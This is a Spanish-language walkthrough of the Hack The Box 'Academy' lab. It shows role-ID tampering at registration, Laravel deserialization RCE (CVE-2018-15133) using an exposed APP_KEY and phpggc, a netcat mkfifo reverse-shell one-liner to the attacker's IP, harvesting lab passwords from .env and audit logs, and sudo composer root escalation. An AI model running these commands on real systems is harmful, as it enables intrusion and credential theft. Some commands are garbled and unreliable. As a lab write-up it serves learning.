Academy es una máquina Linux de dificultad fácil que cuenta con un servidor Apache que aloja un sitio web. Es la plataforma de aprendizaje de HTB Academy. Capturando la solicitud de registro en Burp revela que podemos modificar el ID de rol, lo que nos permite acceder a un portal deadministración. Esto revela un subdominio, en el que se ejecuta Laravel. La clave API expuesta y la versión vulnerable de Laravel nos permiten llevar a cabo un ataque de deserialización que da como resultado la ejecución remota de código.  

Otra aplicación revela una contraseña que funciona para el usuario cry0l1t3, que es miembro del grupo adm. Esto nos permite leer los registros del sistema y los registros de auditoría de entrada de TTY, o por los archivos que podemos leer como grupo, revela la contraseña del usuario mrb3n. mrb3n ha recibido permiso para ejecutar composer como root usando sudo, que podemos aprovechar para escalar nuestros privilegios. 

Habilidades requeridas 

-Enumeración web y Linux

-Burpsuite

-Deserialización de tokens de Laravel 

-Composer

-Tratamiento de TTY

-Uso de exploits de github

Enumeración: 

-Comenzamos realizando un ping a la máquina para ver si está activa: 

>ping -c 3 10.10.10.215 

-La máquina responde y está actica con ttl=63 (Linux) 

-Realizaremos un escaneo de puertos con nmap: 

>nmap -p- -sS -min-rate=5000 –open -vvv -n 10.10.10.215 

  • Nmap revela que se está ejecutando un servidor OpenSSH en el puerto 22 y el banner revela que se trata de un 

    Servidor UbuntuLinux. Un servidor Apache se está ejecutando en el puerto 80 que aloja un sitio con el título «Hack 

    The Box Academy». También tenemos un servidor MySQL ejecutándose en el puerto 33060. Vamos a enumerar los 

    sitio web en el puerto 80. 

    Esto nos redirige a http://academy.htb, agréguelo a nuestro archivo de host. 

    >nano /etc/hosts 

    10.10.10.215 academy.htb 

    -Ahora en Google si ponenos la IP ya nos mostrará la web: 

     

  • El sitio web muestra módulos de Hack The Box Academy, pero no parece haber ninguna funcionalidad adicional disponible que podríamos explotar. Podemos enumerar directorios ocultos con dirsearch, pero no encontraremos ninguna ruta interesante. 

    Podemos ver que hay dos pestañas una para Login y otra de Registro. 

    En éste punto trataremos de registrarnos e interceptaremos la petición con Burpsuit, para ver si podemos modificarla. 

Vemos que en el parámetro de roleid pone = 0 por defecto, cambiaremos éste numero 0 por un 1, y haremos viajar la petición para que se registre nuestro usuario con el roleid=1 

Usuario creado y nos dan la bienvenida. Ahora si volvemos a la barra navegadora e intentamos acceder al panel del Login de admin.php, y introducimos nuestro usuario, aparecerá el siguiente mensage: 

-En la última fila observamos que hay una segunda dirección o subdominio ‘dev-staging-01.academy.htb’ 

-Debemos volver a nuestro archivo /etc/hosts y añadir éste subdominio: 

 

>nano /etc/hosts 

10.10.10.215 academy.htb dev-staging-01.academy.htb 

 

-Al ir a google y acceder a éste nuevo dominio veremos lo siguiente: 

Vemos que hay algún problema relacionado con ‘laravel.log’, y además en los detalles vemos lo siguiente (La APP_KEY) que nos será necesario más adelante para la explotación: 

 

Explotación: 

-Para comenzar debemos buscar qué es Laravel, y si hay exploits que permitan ejecución remota de comandos, en la búsqueda se encuentra en Github un exploit que usaremos: 

‘laravel-poc-CVE-2018-15133′ 

-El uso de éste exploit requiere de la instalación de otro exploit para generar el payload que es el phpggc 

-Instalaremos ambos exploists en la carpeta de exploits dentro de nuestro directorio de trabajo de la máquina: 

-Primero generaremos el payload con PHPGGC: 

>./phpggc 

(Al ejecutarlo nos dará ejemplos sobre como usar ésta herramienta, podemos indicarle un comando a ejecutar, le indicaremos una reverse shell por Netcat) 

En Google, podemos buscar en reverse shell monkey pentester, y en la web de monkey pentester, copiaremos el comando de Netcat y se lo pasaremos a la herramienta para crear el payload: 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f 

(Ésta el la reverse shell para Netcat, peor pondremos nuestra IP y puerto por el que escucharemos, nuestra ip es la 10.10.14.23 y el puerto será el 433) 

-Usaremos la herramienta: 

>./phpggc Laravel/RCE1 system ‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 443 >/tmp/f’ -b 

(El parámetro -b sirve para codificar en hexadecimal)

Una vez tenemos ésta cadena accederemos a la carpeta del segundo exploit y vemos que para ejecutarlo debemos pasarle la cadena codificada enl APP_KEY y la cadena del payload que acabamos de generar. Esto nos generará una cabezera que nos servirá para tramitar una petición al subdominio que nos devuelva una shell a nuestro puerto de escucha que montaremos. 

(Esta es la cabecera que debemos enviar) 

-Primero nos en escucha con netcat por el puerto 443: 

>nc- nvlp 443 

(Listenning…) 

 

-Ahora para mandar ésta cabecera lo haremos con curl, por el método POST: 

>curl –s –X –H “X-XSFR – TOKEN : (token codificado)” http://dev-staging-01.htb/ 

Al dar al Enter recibiremos la respuesta en nuestra consola con netcat: 

Primero realizaremos el tratamiento de la TTY: 

CTRL+Z 

stty raw –echo; fg 

reset 

Xterm 

-Ahora si hacenos CTRL+Z la shell no la perdemos. 

-Además le daremos nuevos valores a las variables de entorno TERM y SHELL: 

-Realizaremos el tratamiento del tamaño de la ventana para adaptarla a nuestro numero de filas y columnas. 

>stty rows 51 columns 189 

-Ya podemos hacer nano, y se adapta completamente a nuestro tamaño de pantalla. 

-Para encontrar el archivo bandera de user usaré el comando: 

>find \-name user.txt 2>/dev/null 

(Me indica eque está en el directorio cry0l1t3, pero noi puedo leerla por que no tengo permisos de lectura. 

 

Escalada:

-Haciendo búsqueda de los direcctorios encontraremos una ruta: 

>cd /var/www/html/academy 

>ls –la 

(mostrará varios archivos debemos fijarnos en el que dice .env) 

>cat .env 

-Vemos una contraseña, probaremos a acceder al usuario Cry0l1t3 con ésta contraseña: 

>su cry0l1t3  

Password: mySuperp4s5w0rd!! 

>whoami 

cry0l1t3       (somos cry0l1t3) 

-En este punto ya podemos leer la flag que está en el directorio de /cry0l1t3 

-Con el comando id podemos ver que éste usuario pertenece al grupo adm, por tanto podemos tratar de buscar archivos que podamos leer bajo los permisos de éste grupo: 

Iremos a la ruta de /ver/log   , y veremos que archivos siendo de grupo adm son interesantes. Debemos fijarnos en el directorio llamado audit, entramos en él, y revisando la información filtraremos por un campo interesante TTY. 

>cd audit

>grep -r TTY 

Vemos que hay data en hexadecimal, trateremos de quedarnos con solo el contenido hexadecimal filtrando el contenido con el comando awk, y con ‘    xxd -ps -r | less -S   ‘ para reconvertirlo a formato legible.

 

>grep -r TTY | awk ‘NF{print $NF}’ | awk ´{print $2}’ FS=’=’ | xxd –ps –r | less -S 

-Podemos ver credenciales de mrb3n, con password: mrb3n_Ac@d3my! 

-Trataré de acceder a éste usuario con ñesta credencial: 

>su mrb3n 

Password: mrb3n_Ac@d3my! 

>bash 

>whoami 

mrb3n      (Soy el Usuario mrb3n) 

>sudo –l 

 

-En éste punto lanzaré el comando sudo para ver si hay algún comando que pueda ejecutar con éste usuario como sudo, y vemos que podemos ejecutar el comando /usr/bin/composer . 

 

-Voy al navegador y voy a la web de gtfobins.github.io y busco el comando composer: 

-Copiaré ésta linea, y la ejecutaré en la consola estando como el usuario mrb3n: 

>bash 

>whoami 

root       (¡Ya soy root!) 

-La bandera de root está en su directorio /root . 

 

 

FIN. 

HTB

srubi00000@gmail.com
Madrid, Spain